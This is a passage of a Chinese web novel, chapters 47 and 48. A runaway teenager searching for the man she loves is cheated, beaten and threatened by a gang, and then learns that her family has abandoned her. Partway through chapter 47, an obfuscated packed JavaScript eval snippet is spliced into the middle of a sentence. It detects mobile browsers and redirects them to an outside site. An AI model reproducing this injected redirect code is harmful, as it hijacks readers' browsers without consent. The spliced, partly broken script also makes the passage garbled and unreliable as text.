她小小的,坐在床边,双手拉着他的手,抬头问他怎么啦。眉眼都是笑,像往常的每一个笑,笑得纯真而灿烂。但那双瞳孔,不安地乱颤,抓着他手的两只小手连她自己都没意识到地在用力,紧紧拽住他,像拽住一根救命绳。 许沉脑海里一直坚定的那根弦动了两下,差点崩断了。他竭力稳住,别开视线,将自己的手从她手里抽回来。 他说,走吧,去看小鹿。 47. 第 47 章 和许沉在一起的两个月是张姣整个人生里最快乐的两个月,也是她最不愿意想起的两个月。她想将它们遗忘,忘在心脏的最底端,无论什么时候都不要想起,这样就不会玷污那段梦幻般的时光。 最后还是想起来了。张姣望着头顶的灯,灯在她眼里变成了虚幻的模糊的破碎的影子,那片虚影里荡着她的往事。 那是假期结束,她被许沉送回家的当晚。爸爸并没有责怪她没有回来参加庆祝宴,而是很直接地告诉她,他们准备移居海外。张姣下意识就问许沉呢。 爸爸是多么聪明的人,一个精明的商人并不会把孩子简单的一句话当成一句简单的话。 他眯着眼,说阿姣,你是不是喜欢许沉。 既然瞒不了,那就直接说。张姣说对,我喜欢他,我想和他结婚。 爸爸的身上弥漫出一种让人感到危险的气息,他用命令和冰凉的语气警告她,这是不允许的。没有说为什么不允许,只说不允许。 张姣问为什么。爸爸说,不可能。 张姣问,是因为许沉和你同辈吗?爸爸没说话。张姣说这算什么,他不还得叫你一声爸。 爸爸听笑了,不屑的冷笑。 张姣不明白爸爸为什么不喜欢许沉,也不想明白。她只知道,没有不允许。她对爸爸说,我和许沉在一起了,在日本的时候。 从日本回来,他们还去海边玩了一个多月,住在许沉的海边别墅里,一个房间,一张床。虽然是她死皮赖脸半夜三更偷摸着进去的,但这不会告诉爸爸,她只告诉爸爸,我和许沉睡在一起了。 张姣第一次尝到了挨巴掌是什么滋味,痛,整个脸颊连着眼角的肉,还有牙齿下颌都在痛,耳朵嗡嗡嗡地响,鼻子发麻。鼻涕浸出来是感受不到的。后来,张姣摸了一下,才发现鼻子流出来的是血,不是鼻涕。 爸爸骂她跟她妈一样。 张姣笑了,说,我本来就是我妈生的,不像我妈像谁啊? “都一样的下贱。” 爸爸愤怒地走了,走出很远,张姣都能听见他气到发沉的呼吸声,还有他叫佣人看牢她的命令。 爸爸囚禁了她,不让她出房间门半步。 张姣听见过一些流言,是说她妈妈的,据说她妈妈是交际花,凭借了不得的手段才嫁给了爸爸,然后生了她。也有人说她是她妈妈和别的男人生的,因为4岁之前,从来没见过她。妈妈和爸爸对外说她出生身体不好,一直放在家里静养,4岁那年,有好转了,就办了一场宴会,开始带她出现在各种场合。 张姣不知道是真的还是假的。4岁,谁记得4岁的自己在做什么呀,4岁之前,她在哪里,叫张姣还是张情或者许姣,她自个儿都不知道。全靠爸爸妈妈一张嘴开编,编出什么是什么。 不过无所谓,她对自己的4岁还是40岁不感兴趣。她只对许沉感兴趣,如果有许沉,她愿意活几十个40岁,尽管40岁的女人又老又丑。 张姣蜷在床上,右脸麻木了,没什么感觉,但使劲摁还是会疼,张嘴的时候唇角也撕裂发痛。 她给许沉打电话,这个时候,她特别想许沉,一种疯狂的想念。想他热乎乎的身体,砰砰跳动有力的胸膛,想把头枕在他的胸上睡觉,想他被压醒又用咬牙切齿的骂声叫醒她,对她生气又不能生气,可爱得不成样。 张姣想起那些,自顾自笑起来。许沉总是装着一副冷心冷肠坏脾气的模样,实际上总会满足她一切要求,无理的有理的要求。 他是多好的一个人呀。张姣从来没见过这么好的人,让人感到安心和愉悦。 电话通了三遍,没人接。 是在睡觉吧?张姣这样想。她爬起来上游戏,许沉不在线。他离线状态从他们出发去日本开始到现在,已经离线71天了。 原来她和许沉一起过了71天。 欢乐给她发了很多消息,消息数字直接标红了,99+。张姣没心情看。 这一晚,躺在床上,张姣没睡好。尽管是自己的床,摆满了自己喜欢的洋娃娃,却因为没有许沉的肩膀和胳膊给她枕脑袋,没许沉的肚子给她垫脚,她怎么睡都睡不好。 转辗反侧到了天亮,她从六点熬到七点,再熬到八点,熬得人快崩溃了,她从来没觉得时间流得这么慢,慢得折磨人,慢得像时间表坏掉了,明明是一分钟,撕成了十分钟在走。 八点十五分,张姣终于忍不住了,给许沉打电话,不管他是在睡觉还是怎么。打。 关机。关机。关机。 打一遍两遍三遍四遍五遍,全是关机。 张姣蹭地坐起来,她不敢相信昨晚还能打通,今天就关机,是故意关的吗?许沉看见她的电话了故意关的?还是手机没电了? 张姣不是那种喜欢猜来猜去的人,她很直接,直接打了许叔的电话,直接问许沉在干嘛。 许叔说,许沉在楼上睡觉啊,阿姣怎么啦,有事找他啊,叔叔帮你叫他。 她听见许叔一步一步走上楼梯的脚步声,然后敲门声,隔着门,许叔在叫许沉。许叔说,许沉你醒没,阿姣找你。 许叔说,许沉你快点,别让阿姣等。 许叔说,许沉你在屋里吗,开门。 许叔说,我开门了。 许叔说,阿姣,对不起啊,许沉不在家。 许叔说,阿姣,叔叔也不知道许沉去哪里了。 许叔挂掉了电话。 张姣呆了。 许沉坐在窗边,一整宿都没睡,身上穿着睡袍,明明是要睡的,但没睡着。 为什么没睡着。他不愿意去想,可人就是这样,越不想去想的,越会疯狂地从脑海深处涌出来,无孔不入地往身体四面八方钻。 许沉很压抑的意识到,才和张姣离开半天,甚至没有10个小时,他就想她了。想她跟在自己身后喋喋不休,见他心情好就许沉许沉的叫,见他心情不好,立刻又乖又甜地叫小叔,一遍一遍,像入了魔的音,缠绕他。 电话响起来的瞬间,几乎是一秒钟,他从床上翻起来,抓起手机接了起来。是朋友的电话,让他出去玩。他挂掉了,同时,他感受到心底隐隐约约的失落,也清楚明白自己在等张姣给他打电话。 张姣真正打电话来时,他只是看了一眼,那股萦绕不散的失落陡然升成欢喜。像一个幸福的毛头小孩,跃到窗边。黑暗的夜里,屋里的灯光映在窗上,映出他溢满笑意的脸。 他在笑,比任何时候都笑得开心。 这一刻,更大的恐慌从头顶降落,他意识到这是不对的,完全不对的。尽管没有血缘关系,但她还是一个孩子啊,还是张家的孩子。 其实,许家和张家并不如表面上的好。他们有很多的纠纷,很多的竞争。 这一瞬间,许沉犹如坠落谷底,摔得全身破烂。 电话在手里响了一遍又一遍,他不敢接。接了,他那些藏在心底深处的阴暗秘密会被剥离得光光净净,会被一寸一寸挖掘出来,会如影随形,永远消不掉,会害了她。 她的未来是一片光明,不应该被他耽误。 许叔站在他身后,窗外的城市笼罩在晨雾里,微弱的晨光穿不透江上升起的浓雾。 许叔问他,怎么回事。 许沉没出声。 都是大人了,都是狡猾的大人了。谁都知道不是和小孩子吵架那么简单。 许叔说,这两个月,你们干什么了。 许沉差点就要说出那三个字,同居了。他憋了回去,说出来就没有翻转的余地了。张姣必须是张姣,不是许沉的张姣,她只是张姣,充满阳光,会笑得灿烂纯粹的张姣。 许叔说,许沉,你姓许,是许家人。这种事情,自己处理好,别给我留把柄。 许叔走了,摔门走的。 许沉垂眼看手机,没电了,黑屏了,所以他接不到张姣的电话了。 也许,一辈子都接不到了。 …… 张姣找不到许沉,无论上哪儿都找不到。她不要脸地去了许叔家,许婶婶见她一脸焦急,问她怎么了。她问许沉呢。许婶婶说,走啦,今天中午就走啦。 去哪了? 俄罗斯。 什么时候回来? 没说啊,可能很长时间都不回来了吧。他在俄罗斯有居住证。 张姣打电话给爸爸,问我们移居到哪儿。爸爸说新加坡。 张姣说,去俄罗斯。 爸爸直接挂掉了电话。 那天的太阳很弱很弱,云层很厚,非常的厚,灰蒙蒙的,将太阳完全挡住了,透不出来。 一点光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190999|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都透不出来,全被闷死在里面了。 张姣感觉自己也快被闷死在这片天下了。她感到呼吸困难,喘不过气。许沉一句话都没说就走了,丢下她走了,一个人走了。再也不回来了。 她知道,许沉再也不回来了。 她没了许沉。 张姣蹲在地上,抱着膝盖,哭得鼻血流了出来,鼻腔又酸又痛。鼻血把裙子染红了,是那条她和许沉去看小鹿穿的裙子,许沉还给她拍了许多漂亮的照片。 裙子脏掉了。 张姣搓着裙子上的血,越搓越脏,越搓越脏。 她跑去商城,让卖衣服的人给她洗。别人用看疯子的眼神看她。她摸出黑卡,砸在桌上。那个人登时一脸笑,拿新衣服给她换,恭敬得像供佛一样将衣服托去洗了。 但终究没洗干净。 张姣抱着那条裙子,她不相信许沉就这样走了,也不相信这条裙子就这样脏了。许沉肯定有办法给她洗干净。 她要找许沉。 怎么找许沉?爸爸把她看得很严,她今天出来是翻窗出来的。身份证,所有东西都在家里。她回家了肯定出不来了。 镜子里的她肮脏,像一条流浪狗。又穷又苦的流浪狗。对,那个人。 她给张情打了电话。她说,你代替我几天,我去找个人,几天就回来,不会耽搁你什么事,你要多少钱我都给,一定要帮我,你不帮我就没人帮我了,我会死的,真的会死。 那边的人真好骗,一听她哭着说会死,就吓坏了,连夜坐飞机过来。 张姣怎么会死,她才不会死,她要找到许沉,死也要拉着许沉一起死。去地府作伴,去来世作伴。 张情打出租车到别墅。张姣家里很多佣人,他们把她当成的张姣,佣人看见她出现在门口,很惊讶她什么时候出去了。张情闷头往里走,佣人们面面相觑地站着,谁也没敢上前问,只是用更牢固的眼神将张情盯进了二楼卧室。 张情进卧室的瞬间,张姣立刻拽着人拉进衣帽间,语气急促地告诉她,从现在起,你就是张姣,我是你,你叫什么名字,身份证给我。有户口簿吗,办护照了吗?张情?一个姓,那太好了。 她的话说得非常快,让张情跟不上她的思维,下意识的她要什么给什么。 张姣抓着她的证件,爬上窗。张情一把拽住她,声音发紧:“你什么时候回来?” 张姣说:“放心,我很快回来。找到他我就回来,很快的,你等我。我们不是都读高一吗,你想去读就读,不想去就不去,这里面所有东西都是你的,银行卡密码是0203。” 张情:“很快是多久?” 张姣没有回答她,而是毫不犹豫地从二楼窗台跳了下去。这一次,她们太匆忙了,没有在一楼平台铺垫任何东西。张情听见很脆很响的嘭声,张姣疼得嘶了两声,跛着脚抱着腰,狼狈地从屋顶斜坡滑下去,一头栽倒在草坪上。 “阿姣……”张情不敢放声喊,紧张地盯着她。 张姣从地上爬起来,抬头对张情笑。她连曾经最爱的公主裙都不穿了,套的是从张情背包里翻出来的宽松T恤和棉裤,脚上塞着自己的可爱兔子拖鞋。夜晚花园昏暗的灯光盛进她眼眸,晕开一抹星星点点灿烂的笑。尽管浑身灰扑扑,但她真心实地的开心。 她朝窗口的张情挥挥手,说了声“等我”,匆匆跑了。 张情扒着窗口,看着张姣的身影藏进昏暗,有种说不出来的感觉。就像外婆离开的那天早晨,她站在房间门口看了外婆一眼,脑袋一如既往的认定外婆在睡觉,然而灵魂深处有一抹浓烈的悲伤,毫无预兆地从心底窜上来,袭击她。当时,她因为外婆生病而悲哀,同时,那种悲哀很快被夜班带来的困倦压下去。于是,她错过了见外婆最后一面的机会。 这一刻,那种浓浓的悲伤再次袭来了,顷刻之间将张情吞没。她什么也顾不上了,不顾一切地大喊:“张姣!” 张姣! “阿姣!” 阿姣! 阿姣! 声音传进黑夜,除了楼下看守她的佣人冲上来,什么都没有。张姣没有回来,没有回来。 她只是在昏暗的路上停了一下,然后紧紧捏着那张叫“张情”的身份证和户口簿,冲向了别墅区的大门,让门卫开车送她下山。 48. 第 48 章 张情没办过护照,新办护照要一个月。一个月,太久了,她耗不起。她想现在、立刻、马上去俄罗斯,去找许沉。张姣知道有人操作可以很快很快就拿到护照,但她找不到人帮忙,她没有朋友,一个都没有。同学……同学的名字她都叫不出来。 她的人生里,除了许沉,还有一个勉强算得上是朋友的人,欢乐。 她找出欢乐的Q\Q,直接打了视频。晚上十一点,欢乐正在上网。嘈杂的网吧,来来往往的男人,油头垢面。还好欢乐长得勉强算是眉清目秀,他看着镜头那边的漂亮女孩,笑着问,你终于上线了,这段时间去哪了? 张姣说,能不能找人给我办护照,越快越好,钱要多少我都给。 欢乐的笑意淡了下去,说你等一会儿,这边太吵了,你手机号码多少,我出去给你打电话。 视频挂断,电话是五分钟后打过来的,在安静的街道上。欢乐问她,你不在家吗? 张姣说,不回去了。我现在要护照,能不能立刻给我办。 欢乐迟疑了一瞬,说可以是可以,但…… 张姣说要多少钱都可以。 欢乐说不是钱的问题。他说,你在上海吧,我在上海没熟人。你来平城,平城我熟人多。 张姣听过这个名字,省会城市,这边过去不远。她立刻买了飞平城的机票,夜里一点下飞机。 欢乐在出口等她。张姣冲过去。欢乐往她身后看了看,说,你怎么什么都没带呀,行李箱也没有吗? 张姣说,我不需要任何东西,什么时候可以办好护照? 欢乐问,那你住哪儿? 张姣说,随便吧,我要护照。 他们打了一辆出租车,去欢乐的家。老旧的自建房,又破又烂又旧,墙皮掉灰,道路狭窄,灯光黑暗,张姣只在报纸上见过这样的房子,只有要拆迁的房子才长这样,偏偏欢乐住的房子就长这样。 张姣嫌弃得一步都不想动,说我去住酒店。欢乐问你有钱吗。张姣冷笑,她什么都不多,就是钱多。出门的时候专门挑了两张钱最多的卡。 欢乐掉头送她去酒店,张姣终于松了一口气,问他什么时候可以办护照。欢乐说,至少明天呀,现在都半夜了。 欢乐第二天领着另一个男人来酒店,张姣皱着眉,还是把身份证交给了他们。她问什么时候可以拿到。欢乐说,拿到了给你打电话。 这个电话,张姣等了一个星期都没等来。她每天给欢乐打无数遍电话,对方说,等等嘛,哪有那么快,又不是一张纸,那是出国啊。 欢乐问,你出国干啥。 张姣说找人。 欢乐问,找谁? 张姣说,许沉。 欢乐,哦,许沉啊,他好几个月没上游戏了。你们吵架了? 张姣挂掉了电话,她现在不想跟人说许沉的事,越是提起许沉,她越焦躁,越有种冲动,想要冲进派出所抢一本护照,不管是谁的,只要是护照,只要能让她去俄罗斯就好。 半个月,一个月。欢乐到后来电话都不接了。一个月啊,张姣都可以自己去办护照了,但她没身份证。身份证在欢乐那里,户口簿也在那儿。 她跑去欢乐家,她还记得。就一栋低矮的两楼自建房,立在城市边缘狭窄的路边,昏暗暗的一盏路灯。 卷帘门大大的开着,里面坐着一群男人,围着一张脏兮兮的圆桌喝酒打牌,啤酒瓶倒了一地。其中一个男人看见张姣,叼着烟“哟”了一声,说陈伟乐,你看人这不就自己送上门来了。长得真他妈正点。 张姣很慌,很怕。但她非常需要身份证和户口簿,非常需要护照。她不是真正的张情,她不能去派出所,不能去公安局,会被认出来,会被送回家去。她不想回家,回家了就再也出不来了,再也见不到许沉了。 张情的身份证和户口簿就像勒在她脖子的绳索,将她勒得死死的,勒得喘不过气。她只能一寸一寸拽住那根绳子,拽一寸松一寸,喘口气,才能让自己持续性的活下去,活到见到许沉为止。 “欢乐,身份证和户口簿还我。”她再傻也知道自己被欢乐骗了。 “急什么,你不是要护照吗,来,来我这儿,我跟你办,想要啥样的护照都行,哥哥给你办得漂漂亮亮的。”一个肥头油耳的男人拽住她的胳膊,将她强行拖了过去。 那只手有很厚的茧,指甲缝又脏又臭。张姣皱着眉甩开,盯着欢乐。 “这小妞脾气还挺倔,有意思。”他搂住了张姣的胳膊,将她整个人往屋里拖。另外几个男人帮忙。 张姣又踢又踹,根本不是他们的对手。很轻松地就被他们架了起来,平着抬了进去。张姣的手被架着吊在地上,她摸到了站立在地上的啤酒瓶,抓起就朝人头上砸。 砸中了谁不知道,她只知道玻璃渣子四处飞溅,划破了她的脸,生疼。疼得她想哭。 她不知道为什么变成这样,她只是想找许沉而已,只是想找许沉而已。 为什么所有人都不让她找许沉?爸爸不让,许婶婶不让,许沉不让,现在连不认识的人都不让,为什么? 他们抓住她,抢她手里只剩一半的玻璃瓶。张姣挥起手胡乱地砸,用力砸,死劲砸。不知道砸到什么,血飞到她脸上,糊了她的眼。有人在惨叫。玻璃瓶砸得只剩一个细长的酒脖子,被她死死捏在手心,捏碎了,碎渣割了她一手的血。 一群人摁住了她,打她,拳打脚踢。咒骂,骂她神经病,骂她臭婊子,骂她妈的。 她抱住头,躺在地上,听见骨头断裂的声音,听见板凳摩擦,被高高抬起重重挥下的声音。 她想完了,她会死在这里。她闭着眼睛,想起了许沉,想起他们去看小鹿,一群大的小的斑驳的小鹿伸着细细长长的脖子和她贴脸,许沉举着相机不断咔嚓咔嚓拍照。拍得非常随意。 她说许沉,你会不会拍照啊,这样狂按快门键拍不好看呀。 许沉说,好看,每张都好看。 她笑眯了眼,抱着小鹿的脖子,让许沉过来一起拍,许沉跑过去,脸贴在小鹿另一边,在许沉摁下快门键的那一刻,她的双手往前一探,环住了许沉的脖子,自己往那边一凑,两人脸碰脸。 许沉惊呆了,侧头看她。那一侧,带着凉意柔软的唇贴在她紧紧挨着许沉脸的右脸上。 拍下来的照片里,许沉亲了她。 许沉黑着脸要删掉这张照片,她不怕,笑眯眯说,小叔,你这样不对哦。 许沉问她怎么不对。 她歪头笑,亲就亲啦,你怕什么呀,小叔亲亲小侄女不是应该的吗?你删了,显得多居心叵测啊。 许沉的脸更黑了,盯着那张照片,删也删不得,不删也不行。 最后,还是留下来了吧? 张姣不知道,他们回家的那天,相机被许沉带了回去,他说等照片洗出来了给她送过去。 所以没删吧,肯定没删,没删,没删。张姣哭了,再疼再痛她都咬唇忍了下来,可是这一次,她忍不住了,她想许沉,想许沉那个大骗子,照片都没洗就跑了,相机不给她就跑了。 为什么要跑啊,她又不是什么黏着人不放的流浪狗,她又没有强迫他什么事,她甚至没说过一句越界的话,为什么要跑啊…… …… 这场单方面殴打被欢乐拦了下来,他说她还是未成年,别打了,犯法啊。 欢乐不明白事情怎么发展到这一步,一切来的猝不及防。他只是想等那个有钱又长得漂亮的女孩自己上门来找他,到时候他们可以好好谈谈条件,条件开好了,把身份证和户口簿还给她。但突然之间,事情失了控。 张姣给锁进堆杂物的房间里。 欢乐和其他人坐在外面,有个人受伤很严重,被别人骑摩托车送去医院了。 欢乐的表哥说你上哪儿找的这么难搞的家伙?瞧那穿的破破烂烂的真有钱啊? 欢乐现在有点怀疑了,但还是充足脸面说真有钱啊。 当初,钱多多买游戏号,直接给他转了五十万,他害怕是小孩偷用家长的钱,家长来找,还得还回去。他没存钱的习惯,有就用,万一真找上门要钱他拿不出来得去蹲局子,便把钱给退了回去。 后来,钱多多有事找他,时不时给他转几万,充会员,送皮肤。他才发觉这个女孩是真有钱,同时有点后悔当初没要那五十万。五十万啊,他全家人拼死拼活都挣不了那么多钱。他怀疑自己当时是脑袋有病被门夹了才还回去,可也没好意思再叫钱多多转给他。 他这个人,就是喜欢装面子。这种叫人把钱重新打给他的事,他干不出来。但好在,钱多多隔段时间就给他钱,断断续续的转账,那五十万也是有了。他也没那么想念那五十万了,因为想更大的去了。他想从她身上榨取100万,200万,甚至更多。 而且,要让对方自愿转给他。他每天跟在钱多多身边,为她跑上忙下,就是在等大机会。 钱多多失踪的那几个月,他慌得快疯了,每个看钱多多和许沉名片的人,他都追过去问钱多多的踪迹,没一个人知道。就在他以为这辈子再也找不到人时,赚钱的大机会主动递过来了。 表哥问,那现在怎么办?逼着她拿钱,万一她跑出去报警了咋办?这和咱们事先商量的不一样啊。 他掏出张情的身份证,递给欢乐,要不网上查查,真是有钱人网上肯定能查到。 欢乐立刻用手机查,查无此人。又打开家里破烂的老式电脑,那还是他爸去世前给他买的,都有好几年了,卡得烦人。耐着性子查了一圈,查无此人。 表哥“啧”了一声,现在怎么搞? 欢乐也不知道。 有个男的说,直接让她拿钱,拿钱走人,还不信她真能去告我们,敢告,老子第一个办了她,管她是不是未成年。 欢乐让他冷静,说再想想别的办法。 但一群只会上网、喝酒、抽烟、打牌、飙车的叛逆青年是没法冷静的,也没脑子想办法。 他们一堆人,想来想去最后的办法就是让欢乐进去找人要钱。 反正打也打了,不直接要,还指望人家突然变身散财童子? 欢乐连抽几根烟,进了杂物室。张姣哭累了,抱着膝盖缩在木板与木板的角落里。他摁开灯的时候,她缩了缩脖子,埋下头躲避猝然亮起的光线。 蜘蛛网挂在她头顶,将她那头乌黑如绸缎般柔软的头发罩得像扫坏掉的扫帚一样张牙舞爪。 欢乐说,对不起啊,真想不到会发展成这样,其实我们没恶意。 张姣嗤笑。她浑身青肿,脸也打出淤血了。 欢乐说,这样吧,你现在身上有多少钱,都给我,我把身份证和户口簿还给你,你回家行不行。说真的,我没想到你这么小,去年你在网上跟我说你14岁,我以为你开玩笑来着。那天从酒店出来,我摸出你身份证看,才知道你说真的。要是早知道你这么小,我也不让你过来了。 张姣伸出手,说行,钱都给你们,身份证给我。我说过了,你帮我办护照,钱可以全给你们。我只要护照,其余东西,我都不要。 见她这样,欢乐打心底好奇了,“许沉到底是谁啊?” 张姣说,一个男人。 欢乐:你这么小就懂爱了啊,为了个男人搞成这样,值得吗? 张姣嗤声。 欢乐把身份证给她,“户口簿先放我这,你给了钱,再给你。” 张姣取下背上的背包,身体扭动的时候,各个关节都在咔咔响。她神色不变,拉开这个染得脏兮兮的兔子包,洁白的内衬里装着一条奶白色的裙子。她将自己污脏的手在身上擦了无数遍,手上的脏东西仍旧擦不掉。她掀起身上的衣服翻个干净的面擦,终于擦掉大部分的肮脏和血。 更多的血凝固了,擦不掉了。她小心翼翼避开那条裙子,夹出几张银行卡。 欢乐指着被她避开的那抹白蕾丝,问她那是什么。张姣说衣服。她和许沉去看小鹿时,穿着的裙子。奶白色的长裙,蕾丝长裙。他们站在小鹿的左边和右边,许沉越过小鹿的脖子亲着她,像亲吻自己的新娘。 张姣最喜欢这条裙子了,也最恨这条裙子了。 她第一次穿这条裙子,许沉亲了她。她第二次穿这条裙子,许沉抛弃了她。 欢乐问能看看吗。张姣死死抱住了包,戒备地盯着他。 柴门被用力撞开,两个男人笑嘻嘻走进来,说陈伟乐,你跟她说个屁啊。直接上手抢走了张姣的包,用力抖两下,包里的东西全部洒了出来,那条被洗得干净的白裙掉在地上,顿时染了一片污浊。 张姣尖叫着扑上去捡。 那两个男人也在捡,三个人一起抢,有个男人抓住了一片裙摆,用来逗她,去扫她的脸扫她的头,哈哈大笑。像一只公鸡,尖锐的嗓音划红了张姣的眼。 张姣扑上去一口咬在男人脸上,下嘴非常死,立刻就出了血。 男人愤怒的嚎叫,用手踹开她,后退两步倒在木板上。欢乐和另一个男人去看他,张姣被掀翻在地,撞到了尾椎骨,疼得她呼吸不过来,眼睛都是花的。她仍旧拼了命地把那条裙子捡回来,抱在怀里,爬起来,跌跌撞撞地跑出门。 外面的人上厕所的上厕所,抽烟的抽烟,还有蹲在大门口刷手机的,歌声放很大。零零散散。她突然冲出去,谁也没反应过来,等看见一个人影跑出去,才惊觉起来,一半人跑进屋里看惨叫的人,一半人追张姣。 张姣从来没这么用力奔跑过,她的体育课永远不去,考试也不去,老师总会给她一个好的分数。她是那种走路多走几步都会脚疼的娇气包,但这一刻,她比谁都跑得猛而快。一条巷子一条巷子地钻,她不知道钻去哪里了。她只知道路灯越来越少,越来越黑,到后面完全没了光。路也越来越烂。她好像跑到了更偏僻的地方。 她回头,灯光在很远的身后盛开,那边才是市区的方向。可她不能回头,因为身后的脚步声越来越近,回不了头。她只能跑,跑,跑,拼命跑,不要命地跑,仍旧跑不过他们这群野蛮人。 脚步声几乎是贴在背后面了。张姣咬牙跳进旁边的垃圾海。那是一个垃圾站,无数垃圾堆成小山。 她把自己埋在最深处,头顶周身围满了发臭发烂令人窒息的垃圾。 她快呼吸不过来,耳朵听见脚步声绕在垃圾外面,几个男人在骂,在问看见人朝哪边跑没,真他妈的狡猾,比兔子跑得还快,刚才就是打少了,再打断一条腿就没这屁事了。麻烦! 他们在周围绕了好几圈,一会儿来绕一下一会儿来绕一下。张姣眨着眼皮,被熏晕了,她听不见他们的脚步声了,不知道他们会不会发现她。真希望他们快离开,去别的地方,她愿意用二十年寿命换他们找不到她。 也许是上天听见了她的愿望,张姣安然无恙地在一阵机械声里醒来。透过垃圾堆,看见垃圾车在挖垃圾,车兜正悬在她头顶。她吓得赶紧爬出去,把开车的人吓坏了。 趁对方反应过来前,她赶紧跑了。 她跑回市区,从怀里拿出裙子,已经脏透了。她把它叠好,抱在怀里,摸出裤兜里最后一张银行卡去银行取钱。她不能回酒店了,得重新找个地方住。 密码输进去,提示被冻结了。 她的银行卡,被冻结了。 张姣,一分钱都没有了。手机没了,钱没了,户口簿也没了。她呆了三秒,什么都顾不上,冲去派出所,说要办护照。民警看她一眼,吓坏了,连忙拉着她进了室内,问她怎么伤的,问她哪里人,家在哪里,今年几岁,爸妈在哪里等等问题。 张姣说,我要办护照。 民警说,成年了吗,身份证带了吗,户口簿带了吗? 张姣说,户口簿掉了。 民警说,那不行,要户口簿的。掉了要补办。 张姣说我现在补。 民警说,你是户主吗,你是哪里人,听你口音不像平城人。户口簿要回本地去办。 张姣说,我渴了。 然后,趁着民警去倒水的瞬间,跑了。 她对张情一无所知,从哪里来,家在哪里,有几口人,爸爸妈妈在哪里,完全不知道。她拿出身份证,什么乡什么镇,偏僻得张情在公园里的中国地球仪上找不到。 她不会再去任何偏僻的地方,打死都不去。她还没有找到许沉,她得活着。 她又回了派出所,民警问她刚才上哪儿了。她说我是离家出走的,现在没钱了,你们能不能送我回家。 她报了张姣的名字,民警查完她的信息,很是惊讶,但还是安排人送她去车站,联系另一边的警察到车站接。 那是长途火车,坐得张姣吐了一整天。下车第一件事就是混在大人群里偷偷跑出车站,打了出租车直奔家里。车费是让别墅大门口的门卫代她付的。 门卫很惊讶她的到来,语气震惊,说您不是搬去新加坡了吗? 张姣懵了,指使门卫开车送她回家。她的家……已经没家了。一室空洞,大门紧闭。二楼所有窗户封死。门卫说,这栋房子已经是出售状态了。 那我爸爸呢?我妈妈呢?她大吼。 门卫比她还懵。她朝门卫要了五百块钱,打车去许叔家。许叔家也空了,邻居说搬去国外了呀,半个月前就走了。 哪里? 新加坡呀。 新加坡,新加坡,都去新加坡了,只留下她。全去了,全走了,走得干干净净。 她问许叔的邻居要许叔的电话,邻居说没有啊,我们怎么可能有。于是借了手机,拨下那个烂熟于心的电话号码。关机,关机,关机。 永远的关机。 张姣坐在公园的椅子里,忽然不知道该干什么了。能找的地方,能找的人都找了,全没了。所有人都走了,留下她一个人,都走了。 头顶传来飞机的嗡鸣,她抬起头,阳光刺得眼睛疼,远处的高楼大厦映入破碎的光影里,那是她以前常去的酒店,每年至少会去一次的酒店。 对,那个地方也许还有人。 她冲向酒店,因为浑身很脏,又带伤,浑身的血,大堂服务员不让她进去。她在门口闹了很久——张姣从来没想到,自己有这么泼妇的一天。死皮赖脸要见经理。 最后还是没见上,被保安架了出去。 她站在喷泉旁边,瞪着眼睛看对面的保安,看金碧辉煌的大厅人来人往,尽是光鲜亮丽。 “咦……”身旁响起声音。张姣面无表情转头。是个男人,眉眼很温和的男人。他原本是带着一点笑的,看见她身上的伤,皱起了眉,问她要去医院检查吗。 张姣摇摇头,这一摇,她忽然想起来,她好像见过这个男人,在去年的生日会上。这是爸爸的客户,听说这个人这些年和爸爸做了一笔大生意赚了不少钱,所以去年生日的时候,爸爸特意带她去见了这个人。爸爸让她叫平叔。 “平叔!”张姣大叫了一声,把这个男人吓了一跳。平叔问她,怎么没去新加坡吗? 张姣说,我要给爸爸打电话,你能不能帮我打电话。 男人迟疑一下,拿出手机拨出了号码。电话接得很快,张姣上手就要抢,男人单手拦了她一下,让她等一下。张姣只能站着等。 平叔客气地和手机对面的人寒暄了几句,问他们到新加坡了吗?到了啊?千金晕机?哈哈是不是很少坐长途飞机,看过医生了,现在正在修养?好好好,一家三口都好,这些年不回来啦?好好好,有空去新加坡拜访您,祝您迁居大喜。 平叔挂掉电话,很疑惑地端详面前的女孩,端详半响,问你怎么认识我呀?张小姐和张董夫妇正在新加坡,你怎么假冒…… 话没说完,张姣一把夺过他的手机,拨出了刚才的号码。通了两声被接起来,爸爸熟悉的声音响在耳边,笑着问是不是有……张姣截断他的话,喊了一声爸爸。 电话那头静了两秒,也只是静了两秒,便挂断了。 “你这小姑娘,怎么……”平叔叹了口气,要来拿手机。 很远的地方,有人叫“平成礼”。平成礼回头应了一声马上过去。从张姣手里拿走了手机。 平成礼说,你真的没事吗,要不还是去医院看一下吧,伤得挺严重的。 远处的好友走了过来,催促快点,要赶不上了,这次有点麻烦,对方不喜欢不守时的人。平成礼见张姣一动不动,像是听不懂他说的话,也像不愿意和他说话。他又叫她一声,这女生仍旧不应。好友伸了手过来,说快点啊,要迟到了。平成礼叹了一口气,急急转身离开了。 他们往大堂快步走,好友问平成礼你在干什么啊,那是谁家小孩?平成礼说,不知道。 好友说,那你和她讲什么? 平成礼说,是个误会,第一眼以为她是张董家的孩子,还很疑惑怎么在这里,后来打电话问了才发现认错了。 那人诧异:这年头还有冒充人的? 他回头看了眼喷泉前的女孩,“诶”了一声:“别说,还真像。” 两人换了别的话题,进了电梯。 张姣很久之后回过神来。那时已经天黑了。她无家可归,无处可去,借来的五百块钱只剩下几十。 她像一只无头苍蝇,朝这边走,朝那边走,走来走去,还是走到派出所,依旧是离家出走的借口,让警察将她送回张情身份证上的地址。 那是一个非常老旧有年代感的小镇,人口多,热闹。她被警察直接送到门口。没有钥匙,警察还帮她找了开锁匠开锁。 她在派出所对张情了解的差不多了,一无所有的一个人,和现在的她一样。没爸爸没妈妈,没钱没车,只有一栋老房子,院子里种了点菜,因为没人管理,已经死完了。 张姣躺在充满灰尘的老床上,精疲力竭地睡了过去,睡得很死,很沉,很久。 